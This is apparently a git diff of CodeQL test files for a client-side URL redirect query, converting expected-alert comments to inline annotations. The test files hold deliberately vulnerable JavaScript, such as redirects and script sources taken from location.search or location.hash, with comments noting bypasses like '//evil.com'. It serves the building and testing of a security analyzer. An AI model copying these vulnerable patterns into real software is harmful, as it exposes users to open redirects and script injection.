-| tst13.js:36:21:36:27 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:36:21:36:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:40:15:40:21 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:40:15:40:21 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:44:14:44:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:44:14:44:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:50:23:50:23 | e | tst13.js:49:32:49:32 | e | tst13.js:50:23:50:23 | e | Untrusted URL redirection depends on a $@. | tst13.js:49:32:49:32 | e | user-provided value |
-| tst13.js:53:28:53:28 | e | tst13.js:52:34:52:34 | e | tst13.js:53:28:53:28 | e | Untrusted URL redirection depends on a $@. | tst13.js:52:34:52:34 | e | user-provided value |
-| tst13.js:61:18:61:24 | payload | tst13.js:59:19:59:42 | documen ... .search | tst13.js:61:18:61:24 | payload | Untrusted URL redirection depends on a $@. | tst13.js:59:19:59:42 | documen ... .search | user-provided value |
-| tst13.js:67:21:67:27 | payload | tst13.js:65:19:65:39 | history ... on.hash | tst13.js:67:21:67:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:65:19:65:39 | history ... on.hash | user-provided value |
-| tst13.js:74:21:74:27 | payload | tst13.js:72:19:72:39 | history ... on.hash | tst13.js:74:21:74:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:72:19:72:39 | history ... on.hash | user-provided value |
-| tst13.js:80:21:80:23 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:80:21:80:23 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
-| tst13.js:81:28:81:30 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:81:28:81:30 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
-| tst13.js:82:27:82:29 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:82:27:82:29 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
-| tst13.js:83:22:83:24 | url | tst13.js:78:15:78:38 | documen ... .search | tst13.js:83:22:83:24 | url | Untrusted URL redirection depends on a $@. | tst13.js:78:15:78:38 | documen ... .search | user-provided value |
-| tst15.js:3:23:3:51 | url.sub ... ring(1) | tst15.js:2:15:2:31 | document.location | tst15.js:3:23:3:51 | url.sub ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:2:15:2:31 | document.location | user-provided value |
-| tst15.js:4:23:4:55 | url.sub ... ring(1) | tst15.js:2:15:2:31 | document.location | tst15.js:4:23:4:55 | url.sub ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:2:15:2:31 | document.location | user-provided value |
-| tst15.js:5:23:5:73 | url.sub ... ring(1) | tst15.js:2:15:2:31 | document.location | tst15.js:5:23:5:73 | url.sub ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:2:15:2:31 | document.location | user-provided value |
-| tst15.js:8:23:8:60 | url2.su ... nown()) | tst15.js:7:16:7:32 | document.location | tst15.js:8:23:8:60 | url2.su ... nown()) | Untrusted URL redirection depends on a $@. | tst15.js:7:16:7:32 | document.location | user-provided value |
-| tst15.js:9:23:9:64 | url2.su ... nown()) | tst15.js:7:16:7:32 | document.location | tst15.js:9:23:9:64 | url2.su ... nown()) | Untrusted URL redirection depends on a $@. | tst15.js:7:16:7:32 | document.location | user-provided value |
-| tst15.js:10:23:10:83 | url2.su ... nown()) | tst15.js:7:16:7:32 | document.location | tst15.js:10:23:10:83 | url2.su ... nown()) | Untrusted URL redirection depends on a $@. | tst15.js:7:16:7:32 | document.location | user-provided value |
-| tst15.js:13:23:13:54 | search. ... ring(1) | tst15.js:12:18:12:41 | documen ... .search | tst15.js:13:23:13:54 | search. ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:12:18:12:41 | documen ... .search | user-provided value |
-| tst15.js:14:23:14:58 | search. ... ring(1) | tst15.js:12:18:12:41 | documen ... .search | tst15.js:14:23:14:58 | search. ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:12:18:12:41 | documen ... .search | user-provided value |
-| tst15.js:15:23:15:79 | search. ... ring(1) | tst15.js:12:18:12:41 | documen ... .search | tst15.js:15:23:15:79 | search. ... ring(1) | Untrusted URL redirection depends on a $@. | tst15.js:12:18:12:41 | documen ... .search | user-provided value |
-| tst16.js:5:21:5:59 | querySt ... h).data | tst16.js:5:39:5:53 | location.search | tst16.js:5:21:5:59 | querySt ... h).data | Untrusted URL redirection depends on a $@. | tst16.js:5:39:5:53 | location.search | user-provided value |
-| tst16.js:6:21:6:56 | querySt ... search) | tst16.js:6:41:6:55 | location.search | tst16.js:6:21:6:56 | querySt ... search) | Untrusted URL redirection depends on a $@. | tst16.js:6:41:6:55 | location.search | user-provided value |
-| tst16.js:7:21:7:62 | queryst ... h).data | tst16.js:7:42:7:56 | location.search | tst16.js:7:21:7:62 | queryst ... h).data | Untrusted URL redirection depends on a $@. | tst16.js:7:42:7:56 | location.search | user-provided value |
-| tst.js:2:19:2:72 | /.*redi ... ref)[1] | tst.js:2:47:2:68 | documen ... on.href | tst.js:2:19:2:72 | /.*redi ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:2:47:2:68 | documen ... on.href | user-provided value |
-| tst.js:6:20:6:59 | indirec ... ref)[1] | tst.js:6:34:6:55 | documen ... on.href | tst.js:6:20:6:59 | indirec ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:6:34:6:55 | documen ... on.href | user-provided value |
-| tst.js:10:19:10:84 | new Reg ... ref)[1] | tst.js:10:59:10:80 | documen ... on.href | tst.js:10:19:10:84 | new Reg ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:10:59:10:80 | documen ... on.href | user-provided value |
-| tst.js:14:20:14:59 | indirec ... ref)[1] | tst.js:14:34:14:55 | documen ... on.href | tst.js:14:20:14:59 | indirec ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:14:34:14:55 | documen ... on.href | user-provided value |
-| tst.js:18:19:18:84 | new Reg ... ref)[1] | tst.js:18:59:18:80 | documen ... on.href | tst.js:18:19:18:84 | new Reg ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:18:59:18:80 | documen ... on.href | user-provided value |
-| tst.js:22:20:22:59 | indirec ... ref)[1] | tst.js:22:34:22:55 | documen ... on.href | tst.js:22:20:22:59 | indirec ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:22:34:22:55 | documen ... on.href | user-provided value |
-| tst.js:26:22:26:82 | new Reg ... ref)[1] | tst.js:26:62:26:78 | win.location.href | tst.js:26:22:26:82 | new Reg ... ref)[1] | Untrusted URL redirection depends on a $@. | tst.js:26:62:26:78 | win.location.href | user-provided value |
-| typed.ts:8:33:8:43 | redirectUri | typed.ts:4:22:4:36 | location.search | typed.ts:8:33:8:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:4:22:4:36 | location.search | user-provided value |
-| typed.ts:29:33:29:43 | redirectUri | typed.ts:25:25:25:34 | loc.search | typed.ts:29:33:29:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:25:25:25:34 | loc.search | user-provided value |
-| typed.ts:52:33:52:43 | redirectUri | typed.ts:47:25:47:34 | loc.search | typed.ts:52:33:52:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:47:25:47:34 | loc.search | user-provided value |
-| typed.ts:56:33:56:43 | redirectUri | typed.ts:48:26:48:36 | loc2.search | typed.ts:56:33:56:43 | redirectUri | Untrusted URL redirection depends on a $@. | typed.ts:48:26:48:36 | loc2.search | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.qlref b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.qlref
index 402f40b244f5..75452c1a90f3 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.qlref
@@ -1 +1,2 @@
-Security/CWE-601/ClientSideUrlRedirect.ql
+query: Security/CWE-601/ClientSideUrlRedirect.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/Consistency.ql
deleted file mode 100644
index e02e59dcb19a..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/Consistency.ql
+++ /dev/null
@@ -1,9 +0,0 @@
-import javascript
-import semmle.javascript.security.dataflow.ClientSideUrlRedirectQuery
-import utils.test.ConsistencyChecking
-
-deprecated class ClientSideUrlRedirectConsistency extends ConsistencyConfiguration {
-  ClientSideUrlRedirectConsistency() { this = "ClientSideUrlRedirectConsistency" }
-
-  override DataFlow::Node getAnAlert() { ClientSideUrlRedirectFlow::flowTo(result) }
-}
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/electron.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/electron.js
index 95019a3ca89f..30268a84e15d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/electron.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/electron.js
@@ -1,7 +1,7 @@
 import { shell } from 'electron';
 
 function getTaint() {
-    return window.name;
+    return window.name; // $ Source
 }
 
-shell.openExternal(getTaint());
+shell.openExternal(getTaint()); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js
index 6206ec73305d..e5da7ce96a43 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js
@@ -7,7 +7,7 @@ class Application extends React.Component {
         <div className="application">
             <Helmet>
                 <title>My unsafe app</title>
-                <script type="application/javascript" src={document.location.hash.substr(1)}/> {/* NOT OK */}
+                <script type="application/javascript" src={document.location.hash.substr(1)}/> {/* $ Alert */}
             </Helmet>
         </div>
     );
@@ -20,7 +20,7 @@ import Link from 'next/link'
 export function NextLink() {
     return <>
       <Link href={document.location.hash}><a>safe</a></Link> {/* OK */}
-      <Link href={document.location.hash.substr(1)}><a>unsafe</a></Link> {/* NOT OK */}
+      <Link href={document.location.hash.substr(1)}><a>unsafe</a></Link> {/* $ Alert */}
     </>;
 }
 
@@ -28,21 +28,21 @@ import { useRouter } from 'next/router'
 
 export function nextRouter() {
   const router = useRouter();
-  return <span onClick={() => router.push(document.location.hash.substr(1))}>Click to XSS 1</span> // NOT OK
+  return <span onClick={() => router.push(document.location.hash.substr(1))}>Click to XSS 1</span> // $ Alert
 }
 
 import { withRouter } from 'next/router'
 
 function Page({ router }) {
-  return <span onClick={() => router.push(document.location.hash.substr(1))}>Click to XSS 2</span> // NOT OK
+  return <span onClick={() => router.push(document.location.hash.substr(1))}>Click to XSS 2</span> // $ Alert
 }
 
 export const pageWithRouter = withRouter(Page);
 
 export function plainLink() {
-  return <a href={document.location.hash.substr(1)}>my plain link!</a>; // NOT OK
+  return <a href={document.location.hash.substr(1)}>my plain link!</a>; // $ Alert
 }
 
 export function someUnknown() {
-  return <FOO data={document.location.hash.substr(1)}>is safe.</FOO>; // OK
+  return <FOO data={document.location.hash.substr(1)}>is safe.</FOO>;
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/regexp-exec.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/regexp-exec.js
index 0ea353a7c568..bc40fbb8002c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/regexp-exec.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/regexp-exec.js
@@ -1,41 +1,41 @@
 import 'dummy';
 
 function extractFromHash() {
-    const [, group1] = /#(.*)/.exec(window.location.href);
-    window.location.href = group1; // NOT OK
+    const [, group1] = /#(.*)/.exec(window.location.href); // $ Source
+    window.location.href = group1; // $ Alert
 }
 
 function extractFromQuery() {
-    const [, group1] = /\?(.*)/.exec(window.location.href);
-    window.location.href = group1; // NOT OK
+    const [, group1] = /\?(.*)/.exec(window.location.href); // $ Source
+    window.location.href = group1; // $ Alert
 }
 
 function extractFromProtocol() {
     const [, group1] = /^([a-z]+:)/.exec(window.location.href);
-    window.location.href = group1; // OK
+    window.location.href = group1;
 }
 
 function extractTooMuch() {
     const [, group1] = /(.*)/.exec(window.location.href);
-    window.location.href = group1; // OK
+    window.location.href = group1;
 }
 
 function extractNothing() {
     const [, group1] = /blah#baz/.exec(window.location.href);
-    window.location.href = group1; // OK
+    window.location.href = group1;
 }
 
 function extractWithMatch() {
-    const [, group1] = window.location.href.match(/#(.*)/);
-    window.location.href = group1; // NOT OK
+    const [, group1] = window.location.href.match(/#(.*)/); // $ Source
+    window.location.href = group1; // $ Alert
 }
 
 function extractWithMatchAll() {
-    const [, group1] = window.location.href.matchAll(/#(.*)/)[0];
-    window.location.href = group1; // NOT OK
+    const [, group1] = window.location.href.matchAll(/#(.*)/)[0]; // $ Source
+    window.location.href = group1; // $ Alert
 }
 
 function extractFromUnknownRegExp() {
-    const [, group1] = new RegExp(unknown()).exec(window.location.href);
-    window.location.href = group1; // NOT OK
+    const [, group1] = new RegExp(unknown()).exec(window.location.href); // $ Source
+    window.location.href = group1; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/sanitizer.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/sanitizer.js
index f8d5b805f4b2..1567d0ed0a4b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/sanitizer.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/sanitizer.js
@@ -1,40 +1,40 @@
 function f() {
-    let url = window.name;
+    let url = window.name; // $ Source
     if (url.startsWith('https://example.com')) {
-        window.location = url; // NOT OK - can be example.com.evil.com
+        window.location = url; // $ Alert - can be example.com.evil.com
     }
     if (url.startsWith('https://example.com/')) {
-        window.location = url; // OK
+        window.location = url;
     }
     if (url.startsWith('https://example.com//')) {
-        window.location = url; // OK
+        window.location = url;
     }
     if (url.startsWith('https://example.com/foo')) {
-        window.location = url; // OK 
+        window.location = url;
     }
     if (url.startsWith('https://')) {
-        window.location = url; // NOT OK - does not restrict hostname
+        window.location = url; // $ Alert - does not restrict hostname
     }
     if (url.startsWith('https:/')) {
-        window.location = url; // NOT OK - does not restrict hostname
+        window.location = url; // $ Alert - does not restrict hostname
     }
     if (url.startsWith('https:')) {
-        window.location = url; // NOT OK - does not restrict hostname
+        window.location = url; // $ Alert - does not restrict hostname
     }
     if (url.startsWith('/')) {
-        window.location = url; // NOT OK - can be //evil.com
+        window.location = url; // $ Alert - can be //evil.com
     }
     if (url.startsWith('//')) {
-        window.location = url; // NOT OK - can be //evil.com
+        window.location = url; // $ Alert - can be //evil.com
     }
     if (url.startsWith('//example.com')) {
-        window.location = url; // NOT OK - can be //example.com.evil.com
+        window.location = url; // $ Alert - can be //example.com.evil.com
     }
     if (url.startsWith('//example.com/')) {
-        window.location = url; // OK
+        window.location = url;
     }
     if (url.endsWith('https://example.com/')) {
-        window.location = url; // NOT OK - could be evil.com?x=https://example.com/
+        window.location = url; // $ Alert - could be evil.com?x=https://example.com/
     }
     let basedir = whatever() ? 'foo' : 'bar';
     if (url.startsWith('https://example.com/' + basedir)) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst.js
index 2838f557bad2..4a3807eb601d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst.js
@@ -1,29 +1,26 @@
-// NOT OK
-window.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];
+window.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1]; // $ Alert
 
 (function(){
 	var indirect = /.*redirect=([^&]*).*/;
-	window.location = indirect.exec(document.location.href)[1];
+	window.location = indirect.exec(document.location.href)[1]; // $ Alert
 });
 
-// NOT OK
-window.location = new RegExp('.*redirect=([^&]*).*').exec(document.location.href)[1];
+window.location = new RegExp('.*redirect=([^&]*).*').exec(document.location.href)[1]; // $ Alert
 
 (function(){
 	var indirect = new RegExp('.*redirect=([^&]*).*')
-	window.location = indirect.exec(document.location.href)[1];
+	window.location = indirect.exec(document.location.href)[1]; // $ Alert
 });
 
-// NOT OK
-window.location = new RegExp(/.*redirect=([^&]*).*/).exec(document.location.href)[1];
+window.location = new RegExp(/.*redirect=([^&]*).*/).exec(document.location.href)[1]; // $ Alert
 
 (function(){
 	var indirect = new RegExp(/.*redirect=([^&]*).*/)
-	window.location = indirect.exec(document.location.href)[1];
+	window.location = indirect.exec(document.location.href)[1]; // $ Alert
 });
 
 function foo(win) {
-	win.location.assign(new RegExp(/.*redirect=([^&]*).*/).exec(win.location.href)[1]); // NOT OK
+	win.location.assign(new RegExp(/.*redirect=([^&]*).*/).exec(win.location.href)[1]); // $ Alert
 }
 
 foo(window);
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst10.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst10.js
index 4b1aed043fc7..7da8ac197433 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst10.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst10.js
@@ -1,14 +1,10 @@
 // OK - cannot affect hostname
 location.href = '/foo' + document.location.search.substring(1);
 
-// NOT OK
-location.href = '/' + document.location.search.substring(1);
+location.href = '/' + document.location.search.substring(1); // $ Alert
 
-// NOT OK
-location.href = '//' + document.location.search.substring(1);
+location.href = '//' + document.location.search.substring(1); // $ Alert
 
-// NOT OK
-location.href = '//foo' + document.location.search.substring(1);
+location.href = '//foo' + document.location.search.substring(1); // $ Alert
 
-// NOT OK
-location.href = 'https://foo' + document.location.search.substring(1);
+location.href = 'https://foo' + document.location.search.substring(1); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst11.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst11.js
index 066d0af4c588..1707bb163b54 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst11.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst11.js
@@ -1,4 +1,4 @@
-// OK
+
 function foo() {
     var urlParts = document.location.href.split('?');
     var loc = urlParts[0] + "?" + boxes.value;
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst13.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst13.js
index 8c55257cb56a..f5f203810ab3 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst13.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst13.js
@@ -1,84 +1,84 @@
 function foo() {
-    var payload = document.location.search.substr(1);
+    var payload = document.location.search.substr(1); // $ Source
     var el = document.createElement("a");
-    el.href = payload; // NOT OK
+    el.href = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("button");
-    el.formaction = payload; // NOT OK
+    el.formaction = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("embed");
-    el.src = payload; // NOT OK
+    el.src = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("form");
-    el.action = payload; // NOT OK
+    el.action = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("frame");
-    el.src = payload; // NOT OK
+    el.src = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("iframe");
-    el.src = payload; // NOT OK
+    el.src = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("input");
-    el.formaction = payload; // NOT OK
+    el.formaction = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("isindex");
-    el.action = payload; // NOT OK
+    el.action = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("isindex");
-    el.formaction = payload; // NOT OK
+    el.formaction = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("object");
-    el.data = payload; // NOT OK
+    el.data = payload; // $ Alert
     document.body.appendChild(el);
 
     var el = document.createElement("script");
-    el.src = payload; // NOT OK
+    el.src = payload; // $ Alert
     document.body.appendChild(el);
 }
 
 (function () {
-    self.onmessage = function (e) {
-        importScripts(e); // NOT OK
+    self.onmessage = function (e) { // $ Source
+        importScripts(e); // $ Alert
     }
-    window.onmessage = function (e) {
-        self.importScripts(e); // NOT OK
+    window.onmessage = function (e) { // $ Source
+        self.importScripts(e); // $ Alert
     }
 })();
 
 function bar() {
     const history = require('history').createBrowserHistory();
-    var payload = document.location.search.substr(1);
+    var payload = document.location.search.substr(1); // $ Source
 
-    history.push(payload); // NOT OK
+    history.push(payload); // $ Alert
 }
 function baz() {
     const history = require('history').createBrowserHistory();
-    var payload = history.location.hash.substr(1);
+    var payload = history.location.hash.substr(1); // $ Source
 
-    history.replace(payload); // NOT OK
+    history.replace(payload); // $ Alert
 }
 
 function quz() {
     const history = HistoryLibrary.createBrowserHistory();
-    var payload = history.location.hash.substr(1);
+    var payload = history.location.hash.substr(1); // $ Source
 
-    history.replace(payload); // NOT OK
+    history.replace(payload); // $ Alert
 }
 
 function bar() {
-    var url = document.location.search.substr(1);
+    var url = document.location.search.substr(1); // $ Source
 
-    $("<a>", {href: url}).appendTo("body"); // NOT OK
-    $("#foo").attr("href", url); // NOT OK
-    $("#foo").attr({href: url}); // NOT OK
-    $("<img>", {src: url}).appendTo("body"); // NOT OK
+    $("<a>", {href: url}).appendTo("body"); // $ Alert
+    $("#foo").attr("href", url); // $ Alert
+    $("#foo").attr({href: url}); // $ Alert
+    $("<img>", {src: url}).appendTo("body"); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst14.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst14.js
index f1fb24019483..a59b494ac6d7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst14.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst14.js
@@ -2,9 +2,9 @@ function foo() {
     var url = document.location.search.substr(1);
     var el = document.createElement("script");
     el.src = "https://github.com/" + url;
-    document.body.appendChild(el); // OK
+    document.body.appendChild(el);
 
     if (url.startsWith('https://github.com/')) {
-        window.location = url; // OK
+        window.location = url;
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst15.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst15.js
index 82ec84c7e89c..262bb1a06c96 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst15.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst15.js
@@ -1,22 +1,22 @@
 function foo() {
-    var url = document.location.toString();
-    window.location = url.substring(0).substring(1); // OK [INCONSISTENCY] - but not important
-    window.location = url.substring(0, 10).substring(1); // OK [INCONSISTENCY]
-    window.location = url.substring(0, url.indexOf('/', 10)).substring(1); // OK [INCONSISTENCY]
+    var url = document.location.toString(); // $ Source
+    window.location = url.substring(0).substring(1); // $ SPURIOUS: Alert - but not important
+    window.location = url.substring(0, 10).substring(1); // $ SPURIOUS: Alert
+    window.location = url.substring(0, url.indexOf('/', 10)).substring(1); // $ SPURIOUS: Alert
 
-    var url2 = document.location.toString();
-    window.location = url2.substring(0).substring(unknown()); // NOT OK
-    window.location = url2.substring(0, 10).substring(unknown()); // NOT OK
-    window.location = url2.substring(0, url2.indexOf('/', 10)).substring(unknown()); // NOT OK
+    var url2 = document.location.toString(); // $ Source
+    window.location = url2.substring(0).substring(unknown()); // $ Alert
+    window.location = url2.substring(0, 10).substring(unknown()); // $ Alert
+    window.location = url2.substring(0, url2.indexOf('/', 10)).substring(unknown()); // $ Alert
 
-    var search = document.location.search.toString();
-    window.location = search.substring(0).substring(1); // NOT OK
-    window.location = search.substring(0, 10).substring(1); // NOT OK
-    window.location = search.substring(0, search.indexOf('/', 10)).substring(1); // NOT OK
+    var search = document.location.search.toString(); // $ Source
+    window.location = search.substring(0).substring(1); // $ Alert
+    window.location = search.substring(0, 10).substring(1); // $ Alert
+    window.location = search.substring(0, search.indexOf('/', 10)).substring(1); // $ Alert
 }
 
 function bar() {
     var url = new URL(window.location);
-    window.location = url.origin; // OK
-    window.location = url.origin.substring(10); // OK
+    window.location = url.origin;
+    window.location = url.origin.substring(10);
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst16.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst16.js
index 49c88a892c9e..edeaa40174d4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst16.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst16.js
@@ -2,7 +2,7 @@ import queryString from 'query-string';
 import querystringify from 'querystringify';
 
 function foo() {
-    location.href = queryString.parse(location.search).data; // NOT OK
-    location.href = queryString.extract(location.search); // NOT OK
-    location.href = querystringify.parse(location.search).data; // NOT OK
+    location.href = queryString.parse(location.search).data; // $ Alert
+    location.href = queryString.extract(location.search); // $ Alert
+    location.href = querystringify.parse(location.search).data; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst2.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst2.js
index bfda6516af57..bb670661d20c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst2.js
@@ -1,5 +1,4 @@
 function f() {
-  var href = window.location.href;
-  // NOT OK
-  window.location = href.substring(href.indexOf('?')+1);
+  var href = window.location.href; // $ Source
+  window.location = href.substring(href.indexOf('?')+1); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst3.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst3.js
index db20a8afc97b..899094be93d8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst3.js
@@ -1,5 +1,5 @@
 function g() {
   var href = window.location.href;
-  // OK
+
   window.location = href.substring(0, href.lastIndexOf('/'));
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst4.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst4.js
index ec47583e901b..035617db7435 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst4.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst4.js
@@ -1,5 +1,5 @@
 function h() {
   var href = window.location.href;
-  // OK
+
   window.location = "https://github.com?" + href.substring(href.indexOf('?')+1);
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst5.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst5.js
index ea73b4be04dd..13ebbe72a953 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst5.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst5.js
@@ -1,2 +1,2 @@
-// OK
+
 window.location = window.location.toString().split('?')[0] + '?' + boxes.value;
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst6.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst6.js
index d848c842672f..534d6f81398b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst6.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst6.js
@@ -1,9 +1,6 @@
 angular.module('app').directive('foo', function($location) {
-  let redirect = $location.search('redirect');
-  // NOT OK
-  window.location = redirect;
-  // NOT OK
-  $location.url(redirect);
-  // NOT OK
-  window.location = $location.search('redirect') + "foo";
+  let redirect = $location.search('redirect'); // $ Source
+  window.location = redirect; // $ Alert
+  $location.url(redirect); // $ Alert
+  window.location = $location.search('redirect') + "foo"; // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst7.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst7.js
index ebd2714056d1..3e338a1cf90a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst7.js
